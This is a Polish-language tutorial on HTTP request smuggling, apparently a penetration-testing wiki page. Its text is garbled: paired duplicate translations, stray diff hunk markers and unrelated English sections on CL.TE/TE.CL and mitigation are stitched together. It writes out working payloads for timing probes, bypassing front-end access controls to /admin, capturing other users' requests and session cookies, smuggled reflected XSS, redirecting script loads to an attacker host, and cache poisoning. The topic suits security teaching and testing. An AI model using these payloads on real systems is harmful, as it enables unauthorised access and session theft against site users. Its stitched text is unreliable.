Identyfikacja podatności na smuglowanie żądań HTTP często może być osiągnięta za pomocą technik czasowych, które polegają na obserwowaniu, jak długo serwer potrzebuje na odpowiedź na manipulowane żądania. Te techniki są szczególnie przydatne do wykrywania podatności CL.TE i TE.CL. Oprócz tych metod istnieją inne strategie i narzędzia, które można wykorzystać do znalezienia takich podatności:
Identyfikacja podatności na HTTP request smuggling często może być osiągnięta za pomocą technik czasowych, które polegają na obserwowaniu, jak długo serwer potrzebuje na odpowiedź na manipulowane żądania. Te techniki są szczególnie przydatne do wykrywania podatności CL.TE i TE.CL. Oprócz tych metod istnieją inne strategie i narzędzia, które można wykorzystać do znalezienia takich podatności:
### Znajdowanie Podatności CL.TE Za Pomocą Technik Czasowych
* **Metoda:**
* Wyślij żądanie, które w przypadku podatności aplikacji spowoduje, że serwer back-endowy będzie czekał na dodatkowe dane.
* **Przykład:**
### Wyszukiwanie podatności CL.TE za pomocą technik czasowych
- **Metoda:**
- Wyślij żądanie, które, jeśli aplikacja jest podatna, spowoduje, że serwer backendowy będzie oczekiwał na dodatkowe dane.
- **Przykład:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -183,18 +198,19 @@ Content-Length: 4
A
0
```
- **Obserwacja:**
- Serwer frontendowy przetwarza żądanie na podstawie `Content-Length` i przerywa wiadomość przedwcześnie.
- Serwer backendowy, oczekując na wiadomość w postaci chunked, czeka na kolejny chunk, który nigdy nie przychodzi, co powoduje opóźnienie.
* **Obserwacja:**
* Serwer front-endowy przetwarza żądanie na podstawie `Content-Length` i przerywa przekazywanie wiadomości przedwcześnie.
* Serwer back-endowy, oczekując na wiadomość w postaci kawałków, czeka na kolejny kawałek, który nigdy nie przychodzi, powodując opóźnienie.
* **Wskaźniki:**
* Przekroczenia czasu lub długie opóźnienia w odpowiedzi.
* Otrzymanie błędu 400 Bad Request od serwera back-endowego, czasami z szczegółowymi informacjami o serwerze.
- **Wskaźniki:**
- Timeouts lub długie opóźnienia w odpowiedzi.
- Otrzymanie błędu 400 Bad Request od serwera backendowego, czasami z szczegółowymi informacjami o serwerze.
### Znajdowanie Podatności TE.CL Za Pomocą Technik Czasowych
* **Metoda:**
* Wyślij żądanie, które w przypadku podatności aplikacji spowoduje, że serwer back-endowy będzie czekał na dodatkowe dane.
* **Przykład:**
### Wyszukiwanie podatności TE.CL za pomocą technik czasowych
- **Metoda:**
- Wyślij żądanie, które, jeśli aplikacja jest podatna, spowoduje, że serwer backendowy będzie oczekiwał na dodatkowe dane.
- **Przykład:**
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -205,48 +221,44 @@ Content-Length: 6
0
X
```
- **Obserwacja:**
- Serwer frontendowy przetwarza żądanie na podstawie `Transfer-Encoding` i przekazuje całą wiadomość.
- Serwer backendowy, oczekując na wiadomość na podstawie `Content-Length`, czeka na dodatkowe dane, które nigdy nie przychodzą, co powoduje opóźnienie.
* **Obserwacja:**
* Serwer front-endowy przetwarza żądanie na podstawie `Transfer-Encoding` i przekazuje całą wiadomość.
* Serwer back-endowy, oczekując na wiadomość na podstawie `Content-Length`, czeka na dodatkowe dane, które nigdy nie przychodzą, powodując opóźnienie.
### Inne metody wyszukiwania podatności
- **Analiza różnicowa odpowiedzi:**
- Wyślij nieznacznie zmienione wersje żądania i obserwuj, czy odpowiedzi serwera różnią się w niespodziewany sposób, co wskazuje na niezgodność w parsowaniu.
### Inne Metody Znajdowania Podatności
- **Użycie narzędzi automatycznych:**
- Narzędzia takie jak rozszerzenie 'HTTP Request Smuggler' w Burp Suite mogą automatycznie testować te podatności, wysyłając różne formy niejednoznacznych żądań i analizując odpowiedzi.
* **Analiza Różnicowa Odpowiedzi:**
* Wyślij nieco zróżnicowane wersje żądania i obserwuj, czy odpowiedzi serwera różnią się w niespodziewany sposób, wskazując na rozbieżność w parsowaniu.
* **Użycie Narzędzi Automatyzujących:**
* Narzędzia takie jak rozszerzenie 'HTTP Request Smuggler' w Burp Suite mogą automatycznie testować te podatności, wysyłając różne formy niejednoznacznych żądań i analizując odpowiedzi.
* **Testy Zmienności Długości Zawartości:**
* Wyślij żądania z różnymi wartościami `Content-Length`, które nie są zgodne z rzeczywistą długością zawartości i obserwuj, jak serwer radzi sobie z takimi niezgodnościami.
* **Testy Zmienności Transfer-Encoding:**
* Wyślij żądania z zasłoniętymi lub zniekształconymi nagłówkami `Transfer-Encoding` i monitoruj, jak różnie serwery front-endowy i back-endowy reagują na takie manipulacje.
- **Testy zróżnicowanej długości treści (Content-Length):**
- Wyślij żądania z różnymi wartościami `Content-Length`, które nie są zgodne z rzeczywistą długością treści i obserwuj, jak serwer obsługuje takie niezgodności.
### Testowanie Podatności na Smuglowanie Żądań HTTP
- **Testy zróżnicowanego kodowania transferu (Transfer-Encoding):**
- Wyślij żądania z zaciemnionymi lub nieprawidłowymi nagłówkami `Transfer-Encoding` i monitoruj, jak różnie serwery frontendowe i backendowe reagują na takie manipulacje.
Po potwierdzeniu skuteczności technik czasowych, istotne jest zweryfikowanie, czy żądania klienta można manipulować. Prostą metodą jest próba zatrucia twoich żądań, na przykład wysłanie żądania do `/` powinno skutkować odpowiedzią 404. Przykłady `CL.TE` i `TE.CL` omówione wcześniej w [Podstawowe Przykłady](./#basic-examples) pokazują, jak zatruć żądanie klienta, aby wywołać odpowiedź 404, mimo że klient chce uzyskać dostęp do innych zasobów.
**Kluczowe Rozważania**
### Testowanie podatności na HTTP Request Smuggling
Podczas testowania podatności na smuglowanie żądań poprzez ingerencję w inne żądania, pamiętaj o:
Po potwierdzeniu skuteczności technik czasowych ważne jest zweryfikowanie, czy żądania klienta można manipulować. Prostą metodą jest próba zatrucia żądań, na przykład tak, aby żądanie do `/` zwróciło odpowiedź 404. Przykłady `CL.TE` i `TE.CL` omówione wcześniej w [Podstawowe przykłady](./#basic-examples) pokazują, jak zatruć żądanie klienta, aby wywołać odpowiedź 404, mimo że klient próbuje uzyskać dostęp do innego zasobu.
* **Odrębne Połączenia Sieciowe:** "Atak" i "normalne" żądania powinny być wysyłane przez oddzielne połączenia sieciowe. Użycie tego samego połączenia dla obu nie potwierdza obecności podatności.
* **Spójne URL i Parametry:** Staraj się używać identycznych adresów URL i nazw parametrów dla obu żądań. Nowoczesne aplikacje często kierują żądania do konkretnych serwerów back-endowych na podstawie adresu URL i parametrów. Dopasowanie ich zwiększa prawdopodobieństwo, że oba żądania zostaną przetworzone przez ten sam serwer, co jest warunkiem koniecznym do udanego ataku.
* **Warunki Czasowe i Wyścigowe:** "Normalne" żądanie, mające na celu wykrycie ingerencji z "atakującego" żądania, rywalizuje z innymi równoczesnymi żądaniami aplikacji. Dlatego wyślij "normalne" żądanie bezpośrednio po "atakującym" żądaniu. W przypadku ruchliwych aplikacji może być konieczne przeprowadzenie kilku prób dla potwierdzenia podatności.
* **Wyzwania Związane z Rozdziałem Obciążenia:** Serwery front-endowe działające jako równoważniki obciążenia mogą rozprowadzać żądania na różne systemy back-endowe. Jeśli "atakujące" i "normalne" żądania trafią na różne systemy, atak się nie powiedzie. Ten aspekt równoważenia obciążenia może wymagać kilku prób potwierdzenia podatności.
* **Nieprzewidziane Skutki Dla Użytkownika:** Jeśli twój atak przypadkowo wpływa na żądanie innego użytkownika (nie jest to "normalne" żądanie wysłane do wykrycia), oznacza to, że twój atak wpłynął na innego użytkownika aplikacji. Ciągłe testowanie może zakłócić innych użytkowników, wymagając ostrożnego podejścia.
**Kluczowe czynniki do uwzględnienia**
## Nadużywanie Smuglowania Żądań HTTP
Podczas testowania podatności na request smuggling poprzez ingerencję w inne żądania, pamiętaj o:
### Aby ominąć kontrole bezpieczeństwa front-endu
* **Odrębne połączenia sieciowe:** "Atak" i "normalne" żądania powinny być wysyłane za pośrednictwem oddzielnych połączeń sieciowych. Użycie tego samego połączenia dla obu nie potwierdza obecności podatności.
* **Spójne adresy URL i parametry:** Staraj się używać identycznych adresów URL i nazw parametrów dla obu żądań. Nowoczesne aplikacje często kierują żądania do konkretnych serwerów backendowych na podstawie adresu URL i parametrów. Dopasowanie ich zwiększa prawdopodobieństwo, że oba żądania zostaną przetworzone przez ten sam serwer, co jest warunkiem koniecznym dla udanego ataku.
* **Warunki czasowe i wyścigowe:** "Normalne" żądanie, które ma wykryć ingerencję ze strony "atakującego" żądania, konkurować będzie z innymi równoczesnymi żądaniami aplikacji. Dlatego wyślij "normalne" żądanie bezpośrednio po "atakującym" żądaniu. W przypadku intensywnie obciążonych aplikacji może być konieczne wykonanie kilku prób w celu potwierdzenia podatności.
* **Wyzwania związane z równoważeniem obciążenia:** Serwery frontendowe działające jako równoważniki obciążenia mogą rozdzielać żądania na różne systemy backendowe. Jeśli "atakujące" i "normalne" żądania trafią na różne systemy, atak nie powiedzie się. Aspekt równoważenia obciążenia może wymagać kilku prób w celu potwierdzenia podatności.
* **Niezamierzone skutki dla użytkowników:** Jeśli atak niezamierzenie wpływa na żądanie innego użytkownika (nie na "normalne" żądanie wysłane w celu wykrycia), oznacza to, że atak wpłynął na innego użytkownika aplikacji. Kontynuowanie testów może zakłócać innych użytkowników, dlatego wymaga to ostrożnego podejścia.
### Ominiecie Kontroli Bezpieczeństwa Front-Endu za Pośrednictwem Smuglowania Żądań HTTP
Czasami proksy front-endowe narzucają środki bezpieczeństwa, analizując przychodzące żądania. Jednak te środki mogą zostać zlekceważone poprzez wykorzystanie Smuglowania Żądań HTTP, umożliwiając nieautoryzowany dostęp do ograniczonych punktów końcowych. Na przykład dostęp do `/admin` może być zablokowany z zewnątrz, a proksy front-endowe aktywnie blokują takie próby. Niemniej jednak ten proxy może zaniedbać sprawdzenie osadzonych żądań wewnątrz smuglowanego żądania HTTP, pozostawiając pętlę do omijania tych ograniczeń.
## Nadużywanie HTTP Request Smuggling
### Omijanie kontroli bezpieczeństwa frontendu
### Omijanie kontroli bezpieczeństwa frontendu za pomocą HTTP Request Smuggling
Czasami proxy frontendowe narzucają środki bezpieczeństwa, analizując przychodzące żądania. Jednak te środki można obejść, wykorzystując HTTP Request Smuggling, co umożliwia nieautoryzowany dostęp do ograniczonych punktów końcowych. Na przykład, dostęp do `/admin` może być zabroniony zewnętrznie, a proxy frontendowe aktywnie blokuje takie próby. Niemniej jednak, to proxy może nie sprawdzać osadzonych żądań w ramach przemyconego żądania HTTP, pozostawiając luki umożliwiające obejście tych ograniczeń.
Poniższe przykłady ilustrują, jak można użyć HTTP Request Smuggling do omijania kontroli bezpieczeństwa frontendu, szczególnie celując w ścieżkę `/admin`, która zwykle jest chroniona przez proxy frontendowe:
Rozważ poniższe przykłady ilustrujące, jak Smuglowanie Żądań HTTP może być wykorzystane do ominiecia kontroli bezpieczeństwa front-endu, szczególnie celując w ścieżkę `/admin`, która zazwyczaj jest chroniona przez proxy front-endowe:
**Przykład CL.TE**
```
@ -265,7 +277,7 @@ Content-Length: 10
x=
```
W ataku CL.TE wykorzystywany jest nagłówek `Content-Length` dla początkowego żądania, podczas gdy następne osadzone żądanie wykorzystuje nagłówek `Transfer-Encoding: chunked`. Proxy front-endowe przetwarza początkowe żądanie `POST`, ale nie sprawdza osadzonego żądania `GET /admin`, co umożliwia nieautoryzowany dostęp do ścieżki `/admin`.
W ataku CL.TE nagłówek `Content-Length` jest wykorzystywany do początkowego żądania, podczas gdy osadzone żądanie wykorzystuje nagłówek `Transfer-Encoding: chunked`. Przekierowanie front-endowe przetwarza początkowe żądanie `POST`, ale nie sprawdza osadzonego żądania `GET /admin`, co umożliwia nieautoryzowany dostęp do ścieżki `/admin`.
**Przykład TE.CL**
```
@ -283,13 +295,13 @@ a=x
0
```
W przeciwnym razie, w ataku TE.CL, początkowe żądanie `POST` używa `Transfer-Encoding: chunked`, a następne osadzone żądanie jest przetwarzane na podstawie nagłówka `Content-Length`. Podobnie jak w ataku CL.TE, proxy front-end pomija ukryte żądanie `GET /admin`, nieświadomie udzielając dostępu do ograniczonej ścieżki `/admin`.
W przeciwnym razie, w ataku TE.CL początkowe żądanie `POST` używa `Transfer-Encoding: chunked`, a następne osadzone żądanie jest przetwarzane na podstawie nagłówka `Content-Length`. Podobnie jak w ataku CL.TE, proxy front-endowy pomija przemycone żądanie `GET /admin`, niechcący przyznając dostęp do ograniczonej ścieżki `/admin`.
### Ujawnianie przepisywania żądań front-endu <a href="#ujawnianie-przepisywania-żądań-front-endu" id="ujawnianie-przepisywania-żądań-front-endu"></a>
### Ujawnianie przepisywania żądania front-endowego <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
Aplikacje często korzystają z **serwera front-endowego**, aby modyfikować przychodzące żądania przed przekazaniem ich do serwera back-endowego. Typowa modyfikacja polega na dodawaniu nagłówków, takich jak `X-Forwarded-For: <IP klienta>`, aby przekazać IP klienta do serwera back-endowego. Zrozumienie tych modyfikacji może być kluczowe, ponieważ może ujawnić sposoby **ominięcia zabezpieczeń** lub **odkrycia ukrytych informacji lub punktów końcowych**.
Aplikacje często wykorzystują **serwer front-endowy** do modyfikowania przychodzących żądań przed przekazaniem ich do serwera back-endowego. Typową modyfikacją jest dodawanie nagłówków, takich jak `X-Forwarded-For: <IP klienta>`, aby przekazać IP klienta do serwera back-endowego. Zrozumienie tych modyfikacji może być kluczowe, ponieważ może ujawnić sposoby **omijania zabezpieczeń** lub **odkrywania ukrytych informacji lub punktów końcowych**.
Aby zbadać, jak proxy zmienia żądanie, zlokalizuj parametr POST, który jest odbijany przez back-end w odpowiedzi. Następnie stwórz żądanie, używając tego parametru na końcu, podobnie jak poniżej:
Aby zbadać, w jaki sposób proxy zmienia żądanie, zlokalizuj parametr POST, który serwer back-endowy odbija w odpowiedzi. Następnie stwórz żądanie, używając tego parametru na końcu, podobnie jak w poniższym przykładzie:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -306,17 +318,17 @@ Content-Length: 100
search=
```
W tej strukturze kolejne składniki żądania są dołączane po `search=`, który jest parametrem odzwierciedlonym w odpowiedzi. To odzwierciedlenie ujawni nagłówki kolejnego żądania.
W tej strukturze kolejne składniki żądania są dodawane po `search=`, który jest parametrem odzwierciedlonym w odpowiedzi. To odzwierciedlenie ujawni nagłówki kolejnego żądania.
Ważne jest, aby dopasować nagłówek `Content-Length` zagnieżdżonego żądania do rzeczywistej długości treści. Zaleca się rozpoczęcie od niewielkiej wartości i stopniowe zwiększanie, ponieważ zbyt niska wartość obetnie odzwierciedlone dane, podczas gdy zbyt wysoka wartość może spowodować błąd żądania.
Ważne jest dopasowanie nagłówka `Content-Length` zagnieżdżonego żądania do rzeczywistej długości treści. Zaleca się rozpoczęcie od niewielkiej wartości i stopniowe zwiększanie, ponieważ zbyt niska wartość spowoduje ucięcie odzwierciedlonych danych, podczas gdy zbyt wysoka wartość może spowodować błąd żądania.
Ta technika jest również stosowana w kontekście podatności TE.CL, ale żądanie powinno zakończyć się `search=\r\n0`. Bez względu na znaki nowej linii, wartości zostaną dołączone do parametru wyszukiwania.
Ta metoda służy przede wszystkim do zrozumienia modyfikacji żądania dokonanych przez proxy front-end, wykonując w zasadzie samodzielne śledztwo.
Ta metoda służy głównie do zrozumienia modyfikacji żądania dokonanych przez proxy front-end, co w zasadzie stanowi autorską analizę.
### Przechwytywanie żądań innych użytkowników <a href="#przechwytywanie-żądań-innych-użytkowników" id="przechwytywanie-żądań-innych-użytkowników"></a>
### Przechwytywanie żądań innych użytkowników <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
Możliwe jest przechwycenie żądań kolejnego użytkownika, dodając określone żądanie jako wartość parametru podczas operacji POST. Oto jak to można osiągnąć:
Możliwe jest przechwycenie żądań następnego użytkownika, dodając określone żądanie jako wartość parametru podczas operacji POST. Oto jak to można osiągnąć:
Dodając poniższe żądanie jako wartość parametru, można przechowywać żądanie następnego klienta:
```
@ -338,20 +350,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
```
W tym scenariuszu **parametr komentarza** ma na celu przechowywanie treści w sekcji komentarzy postu na publicznie dostępnej stronie. W rezultacie, zawartość następnego żądania pojawi się jako komentarz.
W tym scenariuszu **parametr komentarza** ma przechowywać treści znajdujące się w sekcji komentarzy posta na publicznie dostępnej stronie. W rezultacie treść następnego żądania pojawi się jako komentarz.
Jednak ta technika ma pewne ograniczenia. Zazwyczaj przechwytuje dane tylko do znacznika parametru użytego w przemyconym żądaniu. Dla przesyłanych formularzy kodowanych w formacie URL, znacznikiem tym jest znak `&`. Oznacza to, że przechwycone treści z żądania użytkownika ofiary zatrzymają się na pierwszym znaku `&`, który może nawet być częścią ciągu zapytania.
Jednak ta technika ma swoje ograniczenia. Zazwyczaj przechwytuje dane tylko do ogranicznika parametru użytego w przemyconym żądaniu. Dla przesyłek formularzy zakodowanych w formie URL, tym ogranicznikiem jest znak `&`. Oznacza to, że przechwycone treści z żądania użytkownika ofiary zatrzymają się na pierwszym `&`, który może nawet być częścią ciągu zapytania.
Dodatkowo, warto zauważyć, że ta metoda jest również wykonalna w przypadku podatności na TE.CL. W takich przypadkach żądanie powinno zakończyć się `search=\r\n0`. Bez względu na znaki nowej linii, wartości zostaną dołączone do parametru wyszukiwania.
Dodatkowo warto zauważyć, że to podejście jest również wykonalne z wykorzystaniem podatności TE.CL. W takich przypadkach żądanie powinno zakończyć się `search=\r\n0`. Bez względu na znaki nowej linii, wartości zostaną dołączone do parametru wyszukiwania.
### Wykorzystanie przemyconego żądania HTTP do wykorzystania odbitego XSS
### Wykorzystanie przemyconego żądania HTTP do eksploatacji odbitego XSS
Przemycone żądanie HTTP można wykorzystać do eksploatacji stron internetowych podatnych na **odbity XSS**, co daje znaczne korzyści:
Przemycone żądanie HTTP może być wykorzystane do eksploatacji stron internetowych podatnych na **Odbity XSS**, oferując znaczące korzyści:
* Nie wymaga interakcji z użytkownikami docelowymi.
* Umożliwia eksploatację XSS w częściach żądania, które są normalnie niedostępne, takich jak nagłówki żądania HTTP.
* Interakcja z użytkownikami docelowymi **nie jest wymagana**.
* Umożliwia eksploatację XSS w częściach żądania, do których normalnie **nie można uzyskać dostępu**, takich jak nagłówki żądania HTTP.
W przypadkach, gdy strona internetowa jest podatna na odbity XSS poprzez nagłówek User-Agent, poniższy ładunek demonstruje, jak wykorzystać tę podatność:
W przypadkach, gdy strona internetowa jest podatna na Odbity XSS poprzez nagłówek User-Agent, poniższy ładunek demonstruje, jak można wykorzystać tę podatność:
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@ -372,70 +384,29 @@ Content-Type: application/x-www-form-urlencoded
A=
```
Ten payload jest strukturalnie zaprojektowany w celu wykorzystania podatności poprzez:
Ten payload jest skonstruowany w celu wykorzystania podatności poprzez:
1. Inicjowanie żądania `POST`, pozornie typowego, z nagłówkiem `Transfer-Encoding: chunked`, wskazującym początek smugglingu.
2. Następnie, za pomocą `0`, oznaczane jest zakończenie ciała wiadomości w formacie chunked.
3. Następnie, wprowadzane jest smugglowane żądanie `GET`, gdzie nagłówek `User-Agent` jest zainfekowany skryptem `<script>alert(1)</script>`, co powoduje wywołanie XSS podczas przetwarzania tego kolejnego żądania przez serwer.
1. Zainicjowanie żądania `POST`, pozornie typowego, z nagłówkiem `Transfer-Encoding: chunked`, aby wskazać początek smugglowania.
2. Następnie, zastosowanie `0`, oznaczające zakończenie ciała wiadomości w formacie chunked.
3. Następnie wprowadzone jest smugglowane żądanie `GET`, gdzie nagłówek `User-Agent` jest zainfekowany skryptem, `<script>alert(1)</script>`, wywołując XSS podczas przetwarzania tego kolejnego żądania przez serwer.
Poprzez manipulację nagłówkiem `User-Agent` za pomocą smugglingu, payload omija normalne ograniczenia żądania, tym samym wykorzystując podatność Reflected XSS w nietypowy, ale skuteczny sposób.
Poprzez manipulowanie `User-Agent` poprzez smugglowanie, payload omija normalne ograniczenia żądania, wykorzystując w ten sposób podatność na Reflected XSS w nietypowy, ale skuteczny sposób.
### Wykorzystanie smugglingu żądania HTTP do przekształcenia przekierowania na stronie w otwarte przekierowanie <a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a>
### Wykorzystanie smugglowania żądania HTTP do zamiany przekierowania wewnętrznego na otwarte przekierowanie <a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a>
### Wykorzystywanie przekierowań na stronie za pomocą smugglingu żądania HTTP <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
### Wykorzystanie Przekierowań Wewnętrznych z Użyciem Smugglowania Żądania HTTP <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
Aplikacje często przekierowują z jednego adresu URL na inny, korzystając z nazwy hosta z nagłówka `Host` w adresie URL przekierowania. Jest to powszechne w serwerach internetowych, takich jak Apache i IIS. Na przykład, żądanie folderu bez ukośnika na końcu skutkuje przekierowaniem, które zawiera ten ukośnik:
Aplikacje często przekierowują z jednego adresu URL na inny, korzystając z nazwy hosta z nagłówka `Host` w adresie URL przekierowania. Jest to powszechne w serwerach WWW, takich jak Apache i IIS. Na przykład, żądanie folderu bez ukośnika na końcu skutkuje przekierowaniem, aby zawierać ten ukośnik:
```
GET /home HTTP/1.1
Host: normal-website.com
```
## HTTP Request Smuggling
This technique allows an attacker to manipulate the way that a front-end and back-end server interpret a sequence of HTTP requests. By exploiting inconsistencies in how these servers handle request parsing, an attacker can smuggle malicious requests past security measures and potentially bypass security controls.
### Introduction
HTTP Request Smuggling takes advantage of the different ways that front-end and back-end servers interpret and process HTTP requests. This technique can be used to bypass security controls and potentially gain unauthorized access to sensitive information or perform other malicious actions.
### How it Works
HTTP Request Smuggling typically involves sending a specially crafted sequence of HTTP requests that exploit inconsistencies in how the front-end and back-end servers handle request parsing. These inconsistencies can lead to the smuggling of malicious requests that are interpreted differently by each server.
The basic steps involved in an HTTP Request Smuggling attack are as follows:
1. The attacker sends a specially crafted HTTP request to the front-end server.
2. The front-end server parses the request and forwards it to the back-end server.
3. The back-end server interprets the request differently than the front-end server, potentially leading to security bypass or other vulnerabilities.
4. The back-end server responds to the request, which is then interpreted by the front-end server.
By carefully crafting the sequence of requests and exploiting inconsistencies in request parsing, an attacker can smuggle malicious requests past security measures and potentially gain unauthorized access or perform other malicious actions.
### Techniques
There are several techniques that can be used to perform HTTP Request Smuggling attacks. Some of the commonly used techniques include:
- **CL.TE** (Content-Length: Transfer-Encoding): This technique involves manipulating the Content-Length and Transfer-Encoding headers to confuse the front-end and back-end servers.
- **TE.CL** (Transfer-Encoding: Content-Length): This technique involves manipulating the Transfer-Encoding and Content-Length headers to confuse the front-end and back-end servers.
- **CL.CL** (Content-Length: Content-Length): This technique involves manipulating the Content-Length header to confuse the front-end and back-end servers.
- **TE.TE** (Transfer-Encoding: Transfer-Encoding): This technique involves manipulating the Transfer-Encoding header to confuse the front-end and back-end servers.
Each technique has its own variations and specific payloads that can be used to exploit the inconsistencies in request parsing.
### Mitigation
To mitigate the risk of HTTP Request Smuggling attacks, it is important to implement proper security controls and follow best practices. Some mitigation techniques include:
- Implementing strict input validation and sanitization to prevent malicious requests from being processed.
- Configuring web servers and proxies to handle HTTP requests consistently and securely.
- Keeping software and systems up to date with the latest security patches and updates.
- Regularly monitoring and analyzing web server logs for any suspicious activity.
By implementing these mitigation techniques, organizations can reduce the risk of HTTP Request Smuggling attacks and protect their systems and sensitive information from unauthorized access or manipulation.
Wyniki:
```
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```
Chociaż wydaje się niewinne, to zachowanie można manipulować za pomocą przemytu żądań HTTP, aby przekierować użytkowników na zewnętrzną stronę. Na przykład:
Chociaż na pierwszy rzut oka wydaje się nieszkodliwe, to to zachowanie może być manipulowane za pomocą przemytu żądań HTTP, aby przekierować użytkowników na zewnętrzną stronę. Na przykład:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -449,107 +420,27 @@ GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```
Ten przemycony żądanie może spowodować przekierowanie następnego przetwarzanego żądania użytkownika na stronę kontrolowaną przez atakującego:
To przemycony żądanie może spowodować przekierowanie następnego przetworzonego żądania użytkownika na stronę kontrolowaną przez atakującego:
```
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
```
## HTTP Request Smuggling
This technique allows an attacker to manipulate the way that a front-end and back-end server interpret a sequence of HTTP requests. By exploiting inconsistencies in how these servers handle request parsing, an attacker can smuggle malicious requests that may bypass security controls and lead to various attacks, such as cache poisoning, session hijacking, or remote code execution.
### CL.TE
This technique leverages the differences in how front-end and back-end servers handle the `Content-Length` and `Transfer-Encoding` headers. By manipulating these headers, an attacker can trick the servers into interpreting the requests differently, leading to request smuggling.
#### CL.TE Request Smuggling
In a CL.TE request smuggling attack, the attacker sends a request with both `Content-Length` and `Transfer-Encoding` headers. The front-end server interprets the request based on the `Content-Length` header, while the back-end server interprets it based on the `Transfer-Encoding` header. This inconsistency can be exploited to smuggle requests.
To perform a CL.TE request smuggling attack, the attacker typically sends a request with a `Content-Length` header indicating a shorter length than the actual request body, and a `Transfer-Encoding` header set to `chunked`. The front-end server reads the request based on the `Content-Length` header and forwards it to the back-end server. However, the back-end server interprets the request as a chunked request due to the `Transfer-Encoding` header. This discrepancy can lead to request smuggling.
#### CL.TE Request Smuggling Example
Here is an example of a CL.TE request smuggling attack:
```
POST /path HTTP/1.1
Host: example.com
Content-Length: 10
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: example.com
```
In this example, the attacker sends a POST request with a `Content-Length` header indicating a request body length of 10 bytes. However, the actual request body is empty, as indicated by the `0` in the chunked encoding. After the empty chunk, the attacker smuggles a GET request to `/admin`. The front-end server interprets the request based on the `Content-Length` header and forwards it to the back-end server. However, the back-end server interprets the request as a chunked request due to the `Transfer-Encoding` header, leading to request smuggling.
#### CL.TE Request Smuggling Mitigation
To mitigate CL.TE request smuggling attacks, it is important to ensure consistent request parsing between the front-end and back-end servers. This can be achieved by:
- Configuring the front-end server to reject requests with both `Content-Length` and `Transfer-Encoding` headers.
- Configuring the back-end server to reject chunked requests.
Additionally, it is recommended to keep the front-end and back-end servers up to date with the latest security patches to address any known vulnerabilities that could be exploited for request smuggling.
### TE.CL
This technique leverages the differences in how front-end and back-end servers handle the `Transfer-Encoding` and `Content-Length` headers. By manipulating these headers, an attacker can trick the servers into interpreting the requests differently, leading to request smuggling.
#### TE.CL Request Smuggling
In a TE.CL request smuggling attack, the attacker sends a request with both `Transfer-Encoding` and `Content-Length` headers. The front-end server interprets the request based on the `Transfer-Encoding` header, while the back-end server interprets it based on the `Content-Length` header. This inconsistency can be exploited to smuggle requests.
To perform a TE.CL request smuggling attack, the attacker typically sends a request with a `Transfer-Encoding` header set to `chunked` and a `Content-Length` header indicating a shorter length than the actual request body. The front-end server reads the request based on the `Transfer-Encoding` header and forwards it to the back-end server. However, the back-end server interprets the request as a request with a fixed length body due to the `Content-Length` header. This discrepancy can lead to request smuggling.
#### TE.CL Request Smuggling Example
Here is an example of a TE.CL request smuggling attack:
```
POST /path HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Content-Length: 10
0
GET /admin HTTP/1.1
Host: example.com
```
In this example, the attacker sends a POST request with a `Transfer-Encoding` header set to `chunked` and a `Content-Length` header indicating a request body length of 10 bytes. After the empty chunk, the attacker smuggles a GET request to `/admin`. The front-end server interprets the request based on the `Transfer-Encoding` header and forwards it to the back-end server. However, the back-end server interprets the request as a request with a fixed length body due to the `Content-Length` header, leading to request smuggling.
#### TE.CL Request Smuggling Mitigation
To mitigate TE.CL request smuggling attacks, it is important to ensure consistent request parsing between the front-end and back-end servers. This can be achieved by:
- Configuring the front-end server to reject requests with both `Transfer-Encoding` and `Content-Length` headers.
- Configuring the back-end server to reject requests with both `Transfer-Encoding` and `Content-Length` headers.
Additionally, it is recommended to keep the front-end and back-end servers up to date with the latest security patches to address any known vulnerabilities that could be exploited for request smuggling.
Wyniki:
```
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
W tym scenariuszu żądanie użytkownika dotyczące pliku JavaScript zostaje przejęte. Atakujący może potencjalnie narazić użytkownika na niebezpieczeństwo, serwując złośliwy kod JavaScript w odpowiedzi.
### Wykorzystanie przekierowania żądania HTTP do przeprowadzenia zatrucia pamięci podręcznej sieci Web
### Wykorzystanie żądania HTTP smuggling do przeprowadzenia zatrucia pamięci podręcznej witryny <a href="#using-http-request-smuggling-to-perform-web-cache-poisoning" id="using-http-request-smuggling-to-perform-web-cache-poisoning"></a>
Zatrucie pamięci podręcznej sieci Web można przeprowadzić, jeśli którykolwiek z komponentów **infrastruktury front-end** przechowuje w pamięci podręcznej zawartość, zwykle w celu poprawy wydajności. Poprzez manipulowanie odpowiedzią serwera możliwe jest **zatrucie pamięci podręcznej**.
### Wykorzystanie zatrucia pamięci podręcznej witryny za pomocą żądania HTTP smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
